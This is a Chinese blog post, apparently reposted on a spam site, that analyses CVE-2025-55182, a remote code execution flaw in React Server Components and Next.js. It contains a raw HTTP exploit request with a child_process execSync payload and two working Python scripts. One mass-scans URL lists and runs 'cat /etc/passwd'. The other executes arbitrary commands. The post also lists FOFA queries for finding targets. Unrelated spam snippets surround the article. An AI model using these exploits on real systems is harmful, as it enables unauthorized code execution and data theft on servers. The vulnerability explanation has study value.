网站建设难么开封建设企业网站公司

张小明 2026/1/13 7:05:54
网站建设难么,开封建设企业网站公司,龙岩网站设计大概价格,泰安房产网签查询发布的第一篇博客说希望自己两天一发以督促学习#xff0c;还是有点大言不惭了#x1f62d; 文章的创作动机是想重新梳理对CVE-2025-55182的理解#xff0c;一开始思考的不够深入#xff0c;所以今天再来整理一遍。因为自己的前置知识少#xff0c;所以内容里对很多浅显道…发布的第一篇博客说希望自己两天一发以督促学习还是有点大言不惭了文章的创作动机是想重新梳理对CVE-2025-55182的理解一开始思考的不够深入所以今天再来整理一遍。因为自己的前置知识少所以内容里对很多浅显道理的描述比较繁琐。参考先知社区React4Shell 漏洞分析 (cve-2025-55182)赛博知识驿站公众号前置知识RSC(React Server Components) 服务React 的新特性使组件可以在服务器上执行并直接访问数据库等后端资源。服务器只把这些组件的渲染结果用 React Flight Payload 发送给浏览器而不是发送组件代码本身从而显著减少前端 JS 体积并加快首屏加载。浏览器与服务器之间通过 Flight 协议交换 UI 的描述数据。thenableThenable 就是“能够在完成后继续执行下一步的东西”是一种异步对象的标准接口它通过then(resolve)方法来通知调用者 “异步操作何时完成以及完成后的结果是什么”异步Asynchronous的核心是 非阻塞执行同时进行多个任务。在发起耗时操作例如网络请求、文件读写、数据库查询等后不等待结果返回继续执行后续代码等耗时操作完成后再 “回调” 处理结果。如果一个 thenable 的then(resolve)里 再次返回另一个 thenablejavaScript 引擎会继续对这个新的 thenable 执行 相同的解析流程再次调用它的.then()一层套一层一直解析到最终不是 thenable 为止。提供三点简单的原型链的基础知识帮助理解这里的then方法为什么能够被await调用到通过 new 类名() 创建的实例ImageLoader就会自动 “链接” 到该类的原型对象ImageLoader.prototype上从而能访问 / 继承原型上的所有属性和方法用new 类名()创建实例时默认返回这个类的实例从而能访问 / 继承原型上的所有属性和方法直接写在类内部的方法非static、非构造函数如这里的then(resolve, reject)会被自动挂载到类的原型对象上SRC如何执行Next.js 默认支持 RSC 请求识别并会根据特殊 Header如Next-Action执行不同的 server Action例如这个检测payload因为next.js没有严格限制只有框架内部的请求才能触发server action所以它仿照格式进行了伪造检测漏洞的请求通过以下请求头结构Next-Action x 表明是Server action请求原理Next.js 在编译时会给每个 Server Action 生成唯一的 actionId。客户端调用 Server Action 时会自动将 actionId 设置到 Next-Action header 中。服务端收到请求后根据 header 中的next-action判断是否为 Server Action 请求。Router State Tree 只要符合JSON格式就能到下一步解析body里传的数据的阶段Content-Typemutipart/form-data格式对应编码器decodeReplyFromBusboy其他格式对应decodeReply在一个接收formdata表单数据查询再返回查询到的内容的过程里整个过程在服务端执行结果通过 React Flight 协议RSC payload流式传输给浏览器。React Flight Protocol 是 React 用于在客户端和服务器之间传输数据的二进制协议。它使用特殊的前缀符号以$开头来表示不同的数据类型和引用。对这个漏洞chunk的理解需要先掌握如下4个。符号含义编码示例解码结果使用场景$Chunk 引Promise→$1getChunk(response, 1)异步数据、Promise$KFormData 引用FormData→$K1从 FormData 提取 ID1表单数据、文件上传$BBlob 引用Blob→$B1response._formData.get(1)二进制数据、图片$QMap 对象Map→$Q1new Map(...)Map 数据结构multipart/form-data被decode的具体流程decodeReplyFromBusboy()解码函数 其内部创建了一个 response 对象并且注册了 busboy 的事件监听器当busboySteam 收到数据时就会自动触发resoveField()decode 返回了一个 Chunk 对象这个对象一定是一个 thenable 的当 chunk 返回后会await又会自动调用它的 then 方法。这两步都是因为因为 nextJS 使用了await decodeReplyFromBusboy()来等待他的结果重点是awaitdebug数据里能看到chunk的status是pending。同时得知chunk需要具备四个值statusvaluereason和_response由图 可知由resolved_model状态才会触发initializeModelChun(chunk)然后才能statusfulfilled才触发resolve()一开始状态为pending是无法调用的但是在下面的 busy Steam 的监听器函数里这个babystream的监听器一收到数据就会触发resolvedField()在其中继续触发resolveModelChunk()这里的pending就变成了resolved_model状态并且直接触发initializeModelChun(chunk)initializeModelChunk将 chunk 中的 JSON 字符串解析为 JavaScript 对象receiveModel递归处理 $开头的特殊标记并唤醒等待的 await 。这也是 POC 构造的重要触发点利用递归和特殊引用来达到恶意方法执行漏洞分析现在来分析漏洞。看 POC 的构造同样使用的是multipart/form-data格式 并且在 header 中设置了一个不存在的Next-Action, NextJS 收到这个请求后就会当作 server Action 来处理并且使用decodeReplyFromBusboy对请求包进行解码.Next-Action: x X-Nextjs-Request-Id: 51fe50ef2a379133 Content-Type: multipart/form-data; boundary----WebKitFormBoundarye12x8j2O X-Nextjs-Html-Request-Id: 2344e891bc6a0657004928128530dc287d17a91 Content-Length: 499 ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name0 { then: $1:__proto__:then, status: resolved_model, reason: -1, value: {\then\:\$B1337\}, _response: { _prefix: process.mainModule.require(child_process).execSync(id);, _chunks: , _formData: { get: $1:constructor:constructor } } } ------WebKitFormBoundarye12x8j2O Content-Disposition: form-data; name1 $0 ------WebKitFormBoundarye12x8j2O--由于在对 json 字符串进行递归解析时 对 $ 开头的字符会当作特殊的引用处理这里的_proto_:then就是拿到原型链上的then方法的意思实际上因为构造$0的逻辑就是想调用chunk的then方法不用绕圈去调用chunk原型链的then方法所以这样写也能成功$1:then在首轮解析处理过后name1 $0 对 chunk 对象的引用。name0这里调用了原型链上的then方法 chunk.prototype.then此时外部 await 发现存在一个 then 方法并且就是指向 chunk.then由于这里面的 status 我们定义为 resolved_model所以会直接调用 initializeModelChunk 进行递归解析解析到$B的时候依照十六进制处理数据存为obj并且把处理后的结果填入response._formData.get(response._prefixobj)又因为这里的get被污染变成function_formData.get Function 的构造函数。reviveModel是 Next.js/React Server DOM 中 “把序列化数据还原为 JS 对象” 的函数.通过其对constructor的处理把恶意代码还原成可执行的函数这是漏洞触发的关键。constructor是 JS 中对象的内置属性指向 “创建这个对象的构造函数”。$1:constructor:constructor表示 “获取这个对象的constructor属性的constructor”—— 最终会解析为Function构造函数因为所有构造函数的constructor都是Function比如FormData.constructor Function因为value {then:$B1337所以response._formData.get(response._prefixobj)最终作为$B解析后的结果传给then方法。then方法在第二次解析后就变成了匿名函数function anonymous()由于这里的then指向的是一个function而不是字符串所以外部await收到解析结果后会发现还有then方法继续对then方法进行调用。而因为这里的then方法正是恶意函数在第三轮执行的时候直接触发了恶意的函数执行从而导致RCEFOFA资产搜集语句appDify还有一些老师给别的语句用于参考其中一些语句漏洞刚出的时候比较好用把搜集到的导出成excel表格再复制粘贴进一个urls.txt就可以进入后续查找漏洞了ps搜集漏洞时建议别用enfofa用fofa一些错误的尝试因为一开始觉得开发使用rsc是新的app router模式所以fofa里搜索语句最先用的bodyself._ next_f并且认为不能用page router对应的 body _ NEXT_ DATA _事实上新react都支持server action无论开发用不用 rsc服务器都支持 rsc。脚本分析1.poc.py# /// script # dependencies [requests] # /// import requests import sys import json import argparse import urllib3 # Disable warnings for insecure requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_url(url, commandcat /etc/passwd): print(fChecking {url}...) crafted_chunk { then: $1:__proto__:then, status: resolved_model, reason: -1, value: {then: $B0}, _response: { _prefix: fvar res process.mainModule.require(child_process).execSync({command},{{timeout:5000}}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {{digest:${{res}}}});, # If you dont need the command output, you can use this line instead: # _prefix: fprocess.mainModule.require(child_process).execSync({EXECUTABLE});, _formData: { get: $1:constructor:constructor, }, }, } files { 0: (None, json.dumps(crafted_chunk)), 1: (None, $0), } headers {Next-Action: x} try: # verifyFalse to ignore SSL certificate errors res requests.post(url, filesfiles, headersheaders, timeout10, verifyFalse) if root in res.text: print(f[] Vulnerable: {url}) with open(vulns.txt, a) as f: f.write(url \n) else: print(f[-] Not vulnerable: {url}) # print(res.text) except Exception as e: print(f[-] Error checking {url}: {e}) def main(): parser argparse.ArgumentParser(descriptionCVE-2025-55182 POC) parser.add_argument(url, nargs?, helpSingle URL to check) parser.add_argument(command, nargs?, defaultcat /etc/passwd, helpCommand to execute) parser.add_argument(-f, --file, helpFile containing list of URLs) args parser.parse_args() if args.file: try: with open(args.file, r, encodingutf-8, errorsignore) as f: urls f.read().splitlines() for url in urls: url url.strip() if url: if not url.startswith(http): url http:// url check_url(url, args.command) except FileNotFoundError: print(fFile not found: {args.file}) elif args.url: check_url(args.url, args.command) else: parser.print_help() if __name__ __main__: main()比起用全局脚本用id指令通过回显去判断漏洞的github开源脚本https://github.com/msanft/CVE-2025-55182poc.py构造了check url函数-f 实现批量url读取执行cat /etc/passwd指令防止脚本中断禁用SSL警告把得到的vulnerable urls保存在txt里。2. exp.py增加了在127.0.0.1:8080端口代理功能# /// script # dependencies [requests] # /// import requests import sys import json BASE_URL sys.argv[1] if len(sys.argv) 1 else http://localhost:3000 EXECUTABLE sys.argv[2] if len(sys.argv) 2 else id crafted_chunk { then: $1:__proto__:then, status: resolved_model, reason: -1, value: {then: $B0}, _response: { _prefix: fvar res process.mainModule.require(child_process).execSync({EXECUTABLE},{{timeout:5000}}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {{digest:${{res}}}});, # 如果你不需要命令输出可以使用下面这行盲执行 # _prefix: fprocess.mainModule.require(child_process).execSync({EXECUTABLE});, _formData: { get: $1:constructor:constructor, }, }, } files { 0: (None, json.dumps(crafted_chunk)), 1: (None, $0), } headers {Next-Action: x} # 配置代理 proxies { http: http://127.0.0.1:8080, https: http://127.0.0.1:8080, # 注意即使目标是 HTTPSBurp 默认也用 HTTP 代理 } try: res requests.post( BASE_URL, filesfiles, headersheaders, proxiesproxies, timeout10, verifyFalse # 如果目标是 HTTPS 且你用的是 Burp 的自签名证书可避免 SSL 报错 ) print(Status Code:, res.status_code) print(Response Body:\n, res.text) except requests.exceptions.RequestException as e: print(Request failed:, e)补充在另外的一个脚本中除了采用 [307, 302] 响应头检测还采用了从正则响应里观察关键字如下这样的判断方法只要有admin,user就判断是可能的漏洞的话会找到一堆登录界面。。最后实现RCE注意bp抓包记得勾选follow redirection由于poc里throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});这句代码会利用nextjs的特殊处理逻辑进行重定向并且将错误响应放在重定向页面里不开重定向只会显示307 Temporary Redirect。
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

网站锚文本的内链建设住房城乡建设部网站通报

Linear 项目终极指南:如何高效管理现代软件开发流程 【免费下载链接】linear Tools, SDKs and plugins for Linear 项目地址: https://gitcode.com/gh_mirrors/line/linear Linear 是一款专为现代产品团队设计的项目管理工具,通过简化问题跟踪、项…

张小明 2026/1/2 20:40:25 网站建设

网站永久免费建站做网站时字幕怎么做

游戏画面流畅度革命:突破60帧限制的技术实践 【免费下载链接】genshin-fps-unlock unlocks the 60 fps cap 项目地址: https://gitcode.com/gh_mirrors/ge/genshin-fps-unlock 在当今游戏体验中,画面流畅度已成为衡量游戏品质的重要标准。然而&am…

张小明 2026/1/10 4:53:06 网站建设

怎么做提卡密网站建设网站贵吗

Linux 命令行基础与实用操作指南 在 Linux 系统中,命令行是一项强大的工具,它能让你高效地完成各种操作。下面为你详细介绍一些常用的 Linux 命令及其使用方法。 简单实用命令 df 命令 :用于查看磁盘分区的使用情况和可用空间。 操作步骤:在终端输入 df 并按下回车键…

张小明 2026/1/9 14:40:14 网站建设

网站开发都用什么数据库毕设 代做 网站

5分钟快速上手eyetracker:用眼睛控制电脑的终极指南 【免费下载链接】eyetracker Take images of an eyereflections and find on-screen gaze points. 项目地址: https://gitcode.com/gh_mirrors/ey/eyetracker eyetracker是一款功能强大的开源眼动追踪工具…

张小明 2026/1/3 4:44:15 网站建设

提供邢台做wap网站网站建设站长

我有一支技术全面、经验丰富的小型团队,专注高效交付中等规模外包项目,有需要外包项目的可以联系我刚开始学前端那会儿,我最崩溃的一件事不是写不出组件,而是——样式根本“养不住”。同一个项目里:这个页面按钮间距是…

张小明 2026/1/5 21:21:07 网站建设

网站开发vue新网站开发费用

Langchain-Chatchat在石油化工安全规程中的应用 在化工厂的中控室里,一名操作员正准备执行一次受限空间作业。他掏出手机,在企业内网App中输入:“进入反应釜前必须检测哪些气体?”不到三秒,系统返回清晰条目&#xff1…

张小明 2026/1/11 2:23:31 网站建设